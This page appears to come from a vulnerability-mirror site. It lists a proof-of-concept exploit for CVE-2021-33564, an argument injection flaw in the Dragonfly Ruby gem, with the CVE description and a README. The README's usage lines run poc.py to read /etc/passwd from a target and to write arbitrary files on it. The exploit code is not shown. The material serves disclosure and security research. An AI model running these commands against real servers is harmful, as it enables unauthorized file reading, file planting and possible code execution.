CVE-2021-33564 PoC — Ruby 参数注入漏洞

Source

https://github.com/mlr0p/CVE-2021-33564

Associated Vulnerability

Title: Ruby 参数注入漏洞 (CVE-2021-33564)
Description:An argument injection vulnerability in the Dragonfly gem before 1.4.0 for Ruby allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.

Description

Argument Injection in Dragonfly Ruby Gem

Readme

# CVE-2021-33564 PoC
Exploit script for CVE-2021-33564 (Argument Injection in Dragonfly Ruby Gem).

## Usage

### Arbitrary File Read

`python3 poc.py -u https://<target_url>/system/refinery/images -r /etc/passwd`

### Arbitrary File Write

`python3 poc.py -u https://<target_url>/system/refinery/images -w public/test.txt -c test.txt -lu http://<local_url>`

For more information, please visit the blog.

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →